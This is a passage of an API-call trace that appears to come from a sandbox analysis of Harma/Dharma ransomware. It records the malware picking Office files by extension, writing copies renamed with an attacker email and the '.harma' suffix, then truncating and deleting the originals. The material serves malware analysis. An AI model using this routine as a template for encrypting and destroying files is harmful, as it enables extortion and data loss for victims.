(lpString=".doc") returned 4 [0165.662] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0165.662] lstrlenW (lpString=".docx") returned 5 [0165.662] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0165.662] lstrlenW (lpString=".pdf") returned 4 [0165.662] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0165.662] lstrlenW (lpString=".xls") returned 4 [0165.662] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0165.662] lstrlenW (lpString=".xlsx") returned 5 [0165.662] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0165.663] lstrlenW (lpString=".ppt") returned 4 [0165.663] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0165.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.663] lstrlenW (lpString=".zip") returned 4 [0165.663] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0165.663] lstrlenW (lpString=".rar") returned 4 [0165.663] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0165.663] lstrlenW (lpString=".bz2") returned 4 [0165.663] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0165.663] lstrlenW (lpString=".7z") returned 3 [0165.663] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.663] lstrlenW (lpString=".dbf") returned 4 [0165.663] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0165.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.663] lstrlenW (lpString=".1cd") returned 4 [0165.663] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0165.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.663] lstrlenW (lpString=".jpg") returned 4 [0165.663] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0165.663] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0165.664] lstrlenW (lpString="wxpr.dll") returned 8 [0165.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.875] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=16776) returned 1 [0165.875] CloseHandle (hObject=0x218) returned 1 [0165.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll")) returned 0x20 [0165.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.902] lstrlenW (lpString=".doc") returned 4 [0165.902] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.902] lstrlenW (lpString=".docx") returned 5 [0165.902] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0165.902] lstrlenW (lpString=".pdf") returned 4 [0165.902] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.902] lstrlenW (lpString=".xls") returned 4 [0165.902] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.902] lstrlenW (lpString=".xlsx") returned 5 [0165.902] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0165.902] lstrlenW (lpString=".ppt") returned 4 [0165.902] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.902] lstrlenW (lpString=".zip") returned 4 [0165.902] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.902] lstrlenW (lpString=".rar") returned 4 [0165.902] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.903] lstrlenW (lpString=".bz2") returned 4 [0165.903] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.903] lstrlenW (lpString=".7z") returned 3 [0165.903] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.903] lstrlenW (lpString=".dbf") returned 4 [0165.903] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.903] lstrlenW (lpString=".1cd") returned 4 [0165.903] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.903] lstrlenW (lpString=".jpg") returned 4 [0165.903] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.903] lstrlenW (lpString=".doc") returned 4 [0165.903] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.903] lstrlenW (lpString=".docx") returned 5 [0165.903] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0165.903] lstrlenW (lpString=".pdf") returned 4 [0165.903] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.903] lstrlenW (lpString=".xls") returned 4 [0165.903] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.903] lstrlenW (lpString=".xlsx") returned 5 [0165.903] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0165.903] lstrlenW (lpString=".ppt") returned 4 [0165.903] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.904] lstrlenW (lpString=".zip") returned 4 [0165.904] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.904] lstrlenW (lpString=".rar") returned 4 [0165.904] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.904] lstrlenW (lpString=".bz2") returned 4 [0165.904] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.904] lstrlenW (lpString=".7z") returned 3 [0165.904] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.904] lstrlenW (lpString=".dbf") returned 4 [0165.904] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.904] lstrlenW (lpString=".1cd") returned 4 [0165.904] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0165.904] lstrlenW (lpString=".jpg") returned 4 [0165.904] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.904] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0165.904] lstrlenW (lpString="XLINTL32.DLL.IDX_DLL") returned 20 [0165.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.905] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=99200) returned 1 [0165.906] CloseHandle (hObject=0x218) returned 1 [0165.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll")) returned 0x20 [0165.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.906] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.906] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.907] GetLastError () returned 0x0 [0165.907] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x18380, lpOverlapped=0x0) returned 1 [0165.911] WriteFile (in: hFile=0x208, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x18390, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x18390, lpOverlapped=0x0) returned 1 [0165.913] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.913] WriteFile (in: hFile=0x208, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0165.914] SetEndOfFile (hFile=0x208) returned 1 [0165.914] CloseHandle (hObject=0x208) returned 1 [0165.914] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.914] SetEndOfFile (hFile=0x218) returned 1 [0165.918] CloseHandle (hObject=0x218) returned 1 [0165.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll")) returned 1 [0165.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.919] lstrlenW (lpString=".doc") returned 4 [0165.920] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0165.920] lstrlenW (lpString=".docx") returned 5 [0165.920] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0165.920] lstrlenW (lpString=".pdf") returned 4 [0165.920] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0165.920] lstrlenW (lpString=".xls") returned 4 [0165.920] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0165.920] lstrlenW (lpString=".xlsx") returned 5 [0165.920] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0165.920] lstrlenW (lpString=".ppt") returned 4 [0165.920] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0165.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.920] lstrlenW (lpString=".zip") returned 4 [0165.920] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0165.920] lstrlenW (lpString=".rar") returned 4 [0165.920] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0165.920] lstrlenW (lpString=".bz2") returned 4 [0165.920] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0165.920] lstrlenW (lpString=".7z") returned 3 [0165.920] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.920] lstrlenW (lpString=".dbf") returned 4 [0165.920] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0165.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.920] lstrlenW (lpString=".1cd") returned 4 [0165.920] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0165.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.920] lstrlenW (lpString=".jpg") returned 4 [0165.921] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0165.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.921] lstrlenW (lpString=".doc") returned 4 [0165.921] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0165.921] lstrlenW (lpString=".docx") returned 5 [0165.921] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0165.921] lstrlenW (lpString=".pdf") returned 4 [0165.921] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0165.921] lstrlenW (lpString=".xls") returned 4 [0165.921] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0165.921] lstrlenW (lpString=".xlsx") returned 5 [0165.921] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0165.921] lstrlenW (lpString=".ppt") returned 4 [0165.921] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0165.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.921] lstrlenW (lpString=".zip") returned 4 [0165.921] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0165.921] lstrlenW (lpString=".rar") returned 4 [0165.921] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0165.921] lstrlenW (lpString=".bz2") returned 4 [0165.921] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0165.921] lstrlenW (lpString=".7z") returned 3 [0165.921] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.921] lstrlenW (lpString=".dbf") returned 4 [0165.922] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0165.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.922] lstrlenW (lpString=".1cd") returned 4 [0165.922] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0165.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0165.922] lstrlenW (lpString=".jpg") returned 4 [0165.922] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0165.922] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0165.922] lstrlenW (lpString="XLINTL32.REST.IDX_DLL") returned 21 [0165.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.924] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=383872) returned 1 [0165.924] CloseHandle (hObject=0x218) returned 1 [0165.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 0x20 [0165.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.924] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.925] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.926] GetLastError () returned 0x0 [0165.926] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x5db80, lpOverlapped=0x0) returned 1 [0165.935] WriteFile (in: hFile=0x208, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x5db90, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x5db90, lpOverlapped=0x0) returned 1 [0165.991] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.991] WriteFile (in: hFile=0x208, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0165.991] SetEndOfFile (hFile=0x208) returned 1 [0166.028] CloseHandle (hObject=0x208) returned 1 [0166.028] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.028] SetEndOfFile (hFile=0x218) returned 1 [0166.515] CloseHandle (hObject=0x218) returned 1 [0166.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 1 [0166.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.625] lstrlenW (lpString=".doc") returned 4 [0166.625] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0166.625] lstrlenW (lpString=".docx") returned 5 [0166.625] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0166.625] lstrlenW (lpString=".pdf") returned 4 [0166.625] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0166.625] lstrlenW (lpString=".xls") returned 4 [0166.625] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0166.625] lstrlenW (lpString=".xlsx") returned 5 [0166.625] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0166.625] lstrlenW (lpString=".ppt") returned 4 [0166.625] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0166.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.625] lstrlenW (lpString=".zip") returned 4 [0166.625] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0166.626] lstrlenW (lpString=".rar") returned 4 [0166.626] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0166.626] lstrlenW (lpString=".bz2") returned 4 [0166.626] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0166.626] lstrlenW (lpString=".7z") returned 3 [0166.626] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.626] lstrlenW (lpString=".dbf") returned 4 [0166.626] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0166.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.626] lstrlenW (lpString=".1cd") returned 4 [0166.626] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0166.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.626] lstrlenW (lpString=".jpg") returned 4 [0166.626] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0166.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.626] lstrlenW (lpString=".doc") returned 4 [0166.626] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0166.626] lstrlenW (lpString=".docx") returned 5 [0166.626] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0166.626] lstrlenW (lpString=".pdf") returned 4 [0166.627] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0166.627] lstrlenW (lpString=".xls") returned 4 [0166.627] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0166.627] lstrlenW (lpString=".xlsx") returned 5 [0166.627] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0166.627] lstrlenW (lpString=".ppt") returned 4 [0166.627] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0166.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.627] lstrlenW (lpString=".zip") returned 4 [0166.627] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0166.627] lstrlenW (lpString=".rar") returned 4 [0166.627] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0166.627] lstrlenW (lpString=".bz2") returned 4 [0166.627] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0166.627] lstrlenW (lpString=".7z") returned 3 [0166.627] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.627] lstrlenW (lpString=".dbf") returned 4 [0166.627] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0166.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.627] lstrlenW (lpString=".1cd") returned 4 [0166.627] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0166.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0166.627] lstrlenW (lpString=".jpg") returned 4 [0166.627] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0166.627] lstrcmpiW (lpString1=".ACL", lpString2=".harma") returned -1 [0166.628] lstrlenW (lpString="MSO.ACL") returned 7 [0166.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.628] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=50556) returned 1 [0166.628] CloseHandle (hObject=0x3ac) returned 1 [0166.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 0x20 [0166.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.629] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.629] 